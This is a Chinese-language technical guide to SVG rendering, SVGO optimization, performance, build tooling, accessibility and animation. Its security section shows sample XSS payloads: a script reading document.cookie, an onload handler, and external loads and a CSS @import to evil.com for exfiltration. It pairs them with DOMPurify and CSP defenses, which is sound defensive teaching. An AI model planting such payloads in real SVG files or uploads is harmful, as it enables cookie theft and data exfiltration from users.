SVG 渲染模型

SVG 不只是"画形状的 XML"。理解渲染模型是有意义优化的前提。

坐标系栈

每个 SVG 元素建立一个坐标系。viewBox 属性定义从用户空间视口空间的映射:

xml
<svg width="200" height="100" viewBox="0 0 400 200">
  <!-- 绘图命令使用 400×200 坐标空间 -->
  <!-- 渲染到 200×100 像素视口 -->
  <!-- 缩放因子:双方向 0.5x -->
</svg>

公式:scale = min(viewport_width / viewBox_width, viewport_height / viewBox_height)(对于 meet)。

preserveAspectRatio 解码

属性格式为 <对齐> <meetOrSlice>

行为
xMidYMid meet 居中内容,缩放以适合(信箱模式)。默认值
xMidYMid slice 居中内容,缩放以填充(裁剪)
none 拉伸以填充视口(扭曲宽高比)
xMinYMin meet 左上对齐,缩放以适合

none 是唯一允许非均匀缩放的值——用于应该拉伸的流式背景。

绘制顺序

SVG 按文档顺序渲染元素(从后到前)。没有 z-index。后面的元素绘制在前面的元素上方:

xml
<svg>
  <!-- 先渲染(在后面)-->
  <rect x="10" y="10" width="80" height="80" fill="blue"/>
  <!-- 后渲染(在上面)-->
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

这对优化很重要:移动完全被遮挡的复杂元素并不能节省渲染时间——GPU 仍然会处理它们。

SVGO:插件架构与配置

SVGO(SVG Optimizer)是行业标准优化工具。理解其插件架构能实现对优化内容的精确控制。

插件类型

SVGO 3.x 插件操作 SVG 文档的 AST(抽象语法树):

javascript
// svgo.config.js
module.exports = {
  plugins: [
    'preset-default',           // 内置默认值
    'removeDimensions',         // 移除 width/height,保留 viewBox
    {
      name: 'removeAttrs',      // 带参数的插件
      params: { attrs: '(data-.*)' }
    },
    {
      name: 'addAttributesToSVGElement',
      params: { attributes: [{ 'aria-hidden': 'true' }] }
    }
  ]
};

preset-default 套件

preset-default 启用这些插件(部分列举):

插件 效果 可以安全禁用?
removeDoctype 移除 <!DOCTYPE> 始终安全
removeXMLProcInst 移除 <?xml?> 内联 SVG 安全
removeComments 移除 <!-- --> 通常安全
removeMetadata 移除 <metadata> 通常安全
removeEditorsNSData 移除编辑器命名空间 始终安全
cleanupAttrs 规范化属性中的空白 始终安全
mergeStyles 合并多个 <style> 元素 通常安全
inlineStyles CSS 移入表现属性 会破坏外部样式
convertPathData 简化路径命令 安全(精度可配置)
convertTransform 折叠变换链 安全
collapseGroups 扁平化不必要的 <g> 元素 可能破坏动画

编写自定义插件

javascript
// custom-plugin.js
const myPlugin = {
  name: 'removeTestIds',
  fn: () => ({
    element: {
      enter: (node) => {
        if (node.attributes['data-testid']) {
          delete node.attributes['data-testid'];
        }
      }
    }
  })
};

// svgo.config.js
module.exports = {
  plugins: ['preset-default', myPlugin]
};

精度 vs 文件大小权衡

javascript
{
  name: 'convertPathData',
  params: {
    floatPrecision: 1,   // 激进:复杂曲线可能出现可见伪影
    floatPrecision: 2,   // 平衡:大多数图标安全
    floatPrecision: 3    // 保守:保持精度(文件较大)
  }
}

经验法则:24×24px 图标 → 精度 1 够用。1000×1000px 插图 → 需要精度 2-3。

SVG 安全:XSS 与净化

SVG 是攻击向量。因为 SVG 是可以包含 JavaScript 的 XML,加载不可信 SVG 等同于加载不可信 HTML。

攻击向量

1. 通过 <script> 执行脚本

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

2. 事件处理器

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onload="alert('XSS')"/>
</svg>

3. 外部资源加载

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://evil.com/track.gif"/>
  <use href="https://evil.com/payload.svg#exploit"/>
</svg>

4. CSS 注入

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url('https://evil.com/exfiltrate?data=...');
  </style>
</svg>

防御策略

上下文 风险等级 缓解措施
<img src="file.svg"> 低 — 脚本不执行 不可信 SVG 安全
HTML 中内联 <svg> 高 — 完全 DOM 访问 必须净化
background-image: url(file.svg) 低 — 脚本不执行 安全
<object> / <iframe> 中 — 沙盒执行 使用 sandbox 属性
用户上传 SVG 以 image/svg+xml 服务 高 — 直接导航会执行脚本 必须净化或使用 CSP

净化库

javascript
import DOMPurify from 'dompurify';

const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
  USE_PROFILES: { svg: true, svgFilters: true },
  ADD_TAGS: ['use'],
  FORBID_TAGS: ['script', 'foreignObject'],
  FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});

SVG 的 Content-Security-Policy

http
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'

服务用户上传的 SVG 时,设置 script-src 'none' 以防止即使净化失败也能阻止脚本执行。

性能陷阱

1. Filter 元素代价高昂

SVG 滤镜(<filter>)操作像素缓冲区,而非矢量几何。它们触发光栅化:

xml
<!-- 看起来无害的模糊迫使整个子树光栅化 -->
<g filter="url(#blur)">
  <path d="...巨大路径数据..."/>
</g>

<filter id="blur">
  <feGaussianBlur stdDeviation="3"/>
</filter>

每个滤镜原语(feGaussianBlurfeDropShadowfeColorMatrix)分配与滤镜区域同样大小的像素缓冲区。链式滤镜使内存使用倍增。

缓解:可能时使用 CSS filter: blur() 替代 SVG 滤镜——CSS 滤镜在大多数浏览器上是 GPU 加速的。

2. Clip-Path 复杂度

复杂 clip-path 强制逐像素交叉测试:

xml
<!-- 昂贵:500 点多边形作为裁剪路径 -->
<clipPath id="complex">
  <path d="M... (500 points)"/>
</clipPath>

<!-- 廉价:简单矩形裁剪 -->
<clipPath id="simple">
  <rect x="0" y="0" width="100" height="100"/>
</clipPath>

3. 大路径数据

包含数千点的单个 <path> 比等效的更简单路径解析和渲染都更昂贵:

路径复杂度 解析时间 渲染时间 文件大小
50 点 ~0.1ms ~0.1ms ~200B
500 点 ~1ms ~0.5ms ~2KB
5,000 点 ~10ms ~5ms ~20KB
50,000 点 ~100ms ~50ms ~200KB

缓解:导出时简化路径(减少点数),或拆分为更小的路径以实现渐进渲染。

4. 嵌入光栅图像违背目的

xml
<!-- 这个"SVG"实际上是一个 2MB PNG 加上周围的矢量装饰 -->
<svg>
  <image href="data:image/png;base64,..." width="1000" height="1000"/>
  <text x="50" y="50">标签</text>
</svg>

这比独立 PNG 更差:文件更大(Base64 编码增加 33%)、无 SVG 缓存优势,且浏览器必须同时解码 SVG 和光栅。

构建管线集成

Vite(vite-plugin-svgr)

javascript
// vite.config.js
import svgr from 'vite-plugin-svgr';

export default {
  plugins: [svgr({
    svgrOptions: {
      plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
      svgoConfig: {
        plugins: ['preset-default', 'removeDimensions']
      }
    }
  })]
};
jsx
// React 中使用
import Logo from './logo.svg?react';  // 作为 React 组件导入
import logoUrl from './logo.svg';     // 作为 URL 字符串导入

function App() {
  return <Logo className="logo" aria-label="公司标志" />;
}

Webpack(@svgr/webpack)

javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [{
      test: /\.svg$/i,
      issuer: /\.[jt]sx?$/,
      use: [{
        loader: '@svgr/webpack',
        options: {
          svgo: true,
          svgoConfig: { plugins: ['preset-default'] }
        }
      }]
    }]
  }
};

Next.js

javascript
// next.config.js
module.exports = {
  webpack(config) {
    config.module.rules.push({
      test: /\.svg$/,
      use: ['@svgr/webpack']
    });
    return config;
  }
};

超越 aria-label 的无障碍

决策树

code
SVG 是装饰性的(不传达信息)?
├── 是 → <svg aria-hidden="true" focusable="false">
└── 否 → 它是独立的还是有相邻文本?
    ├── 独立 → <svg role="img" aria-labelledby="title">
    │            <title id="title">描述</title>
    └── 有文本 → <svg aria-hidden="true">(文本承载含义)

交互式 SVG 无障碍

xml
<svg role="img" aria-labelledby="chart-title chart-desc">
  <title id="chart-title">月度营收</title>
  <desc id="chart-desc">展示 2025 年 1 月到 12 月营收的柱状图</desc>
  
  <!-- 每个交互元素需要焦点处理 -->
  <g role="listitem" tabindex="0" aria-label="一月:¥45,000">
    <rect x="10" y="20" width="30" height="80"/>
  </g>
</svg>

IE/Edge Legacy 中的 focusable="false"

IE 和旧版 Edge 默认使 SVG 元素可聚焦。始终在装饰性 SVG 上添加 focusable="false" 以保持跨浏览器一致性。

动画方案

方案 性能 浏览器支持 使用场景
CSS @keyframes GPU 加速(transform、opacity) 通用 简单过渡
CSS transition GPU 加速 通用 状态变化
SMIL <animate> 主线程 全部现代(Chrome 2019 年恢复支持) 声明式路径动画
Web Animations API GPU 加速 现代浏览器 编程控制
GreenSock (GSAP) 优化的 JS 通用(库) 复杂序列动画

CSS 动画(简单场景首选)

css
@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

.spinner {
  animation: spin 1s linear infinite;
  transform-origin: center;
}

SMIL 路径动画

xml
<path d="M10 80 Q 95 10 180 80">
  <animate
    attributeName="d"
    dur="2s"
    values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
    repeatCount="indefinite"
  />
</path>

SMIL 能动画化路径 d 属性——CSS 做不到。用 SMIL 实现形状变形。

优化清单

  1. 运行 SVGO 并为使用场景设置适当精度
  2. 移除编辑器元数据<metadata>、Illustrator/Figma 命名空间)
  3. 简化路径(降低小数精度、合并变换)
  4. 使用 <symbol> + <use> 处理重复图标(SVG 雪碧图)
  5. 启用 gzip/brotli 服务器端(SVG 压缩 60-80%)
  6. 避免大元素上使用滤镜(改用 CSS filterbox-shadow
  7. 移除嵌入的光栅图像(SVG 中的 base64 图片)
  8. 对装饰性 SVG 设置 aria-hidden="true"
  9. 净化用户上传的 SVG(DOMPurify 或服务端等效方案)
  10. 使用适当 CSP 服务(用户内容设置 script-src 'none'